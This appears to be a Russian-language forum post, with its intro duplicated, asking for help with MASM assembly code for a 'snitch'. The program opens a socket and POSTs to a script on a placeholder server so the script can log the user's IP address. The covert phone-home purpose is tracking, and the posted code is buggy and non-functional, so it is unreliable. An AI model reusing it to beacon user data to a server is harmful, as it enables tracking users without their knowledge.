Всем привет!
Данная тема думаю многим будет интересна...
Пишу некое подобие "стукача" на асме.
Суть его работы:
Запускается сокет, по шаблону GET/POST он лезет на скрипт, находящийся на сервере, который в свою очередь записывает его айпи, и т.п
Вроде набросал текста, скомпилил, но нет - даже сет. активности нету...
Кому не тяжело - посмотрите, может ошибся где, в нете много искал, но нашёл лишь на си, переписал что-то, получилось то, что вы видите в тэге CODE.
Ах, да и ещё если у кого идеи по этому поводу будут - пишите, буду рад!
Упростим задачу: Требуется например узнать айпишник юзверя(написать функцию - нет проблем), но вопрос как это в сокет воплотить и на сервер отправить, чтобы скрипт принял ?
Вот собственно исходник:
П.С. Хайд поставил по собственному желанию, хотите обсудить - велкам в личку!
Данная тема думаю многим будет интересна...
Пишу некое подобие "стукача" на асме.
Суть его работы:
Запускается сокет, по шаблону GET/POST он лезет на скрипт, находящийся на сервере, который в свою очередь записывает его айпи, и т.п
Вроде набросал текста, скомпилил, но нет - даже сет. активности нету...
Кому не тяжело - посмотрите, может ошибся где, в нете много искал, но нашёл лишь на си, переписал что-то, получилось то, что вы видите в тэге CODE.
Ах, да и ещё если у кого идеи по этому поводу будут - пишите, буду рад!
Упростим задачу: Требуется например узнать айпишник юзверя(написать функцию - нет проблем), но вопрос как это в сокет воплотить и на сервер отправить, чтобы скрипт принял ?
Вот собственно исходник:
Код:
.386
.model flat, stdcall
option casemap :none
include \masm32\INCLUDE\windows.inc
include \masm32\INCLUDE\kernel32.inc
include \masm32\INCLUDE\ws2_32.inc
include \masm32\INCLUDE\wsock32.inc
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\ws2_32.lib
includelib \masm32\lib\wsock32.lib
.data?
hSocket dd ?
dwTime dd ?
sin sockaddr_in <>
wsData WSADATA <>
.data
; шаблон взял из исходника на фасме, так что могут быть ошибки, хотя у меня
; всё скомпилилось!
PostTemplate db 'POST /my_script.php HTTP/1.0',13,10
db 'Host: '
HostName db 'my_server.com',0,13,10
db 'User-Agent:Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.11) Gecko/2009060215 Firefox/3.0.11',13,10
db 'Accept: text/html,application/xhtml+xml,application/xml; q=0.9,*/*;q=0.8',13,10
db 'Accept-Language: en-us',13,10
db 'Accept-Encoding: gzip,deflate',13,10
db 'Keep-Alive: 300',13,10
db 'Connection: Keep-Alive',13,10
.code
mov eax, HostName
push eax;это хост
; initializing winsock.....
invoke WSAStartup, 101h, ADDR wsData
call inet_addr;invoke inet_addr, eax
mov [sin.sin_family], AF_INET
mov [sin.sin_port], 80
mov [sin.sin_addr], eax
invoke socket, PF_INET, SOCK_STREAM, 0
mov [hSocket], eax
push eax
invoke connect, eax, ADDR sin, sizeof sin
invoke send, [hSocket], ADDR PostTemplate, sizeof PostTemplate, 0
invoke closesocket, [hSocket]
; ТУТ можно ещё send, заменить на
; invoke write, [hSocket], ADDR PostTemplate, sizeof PostTemplate
; разницы нету....
call WSACleanup
П.С. Хайд поставил по собственному желанию, хотите обсудить - велкам в личку!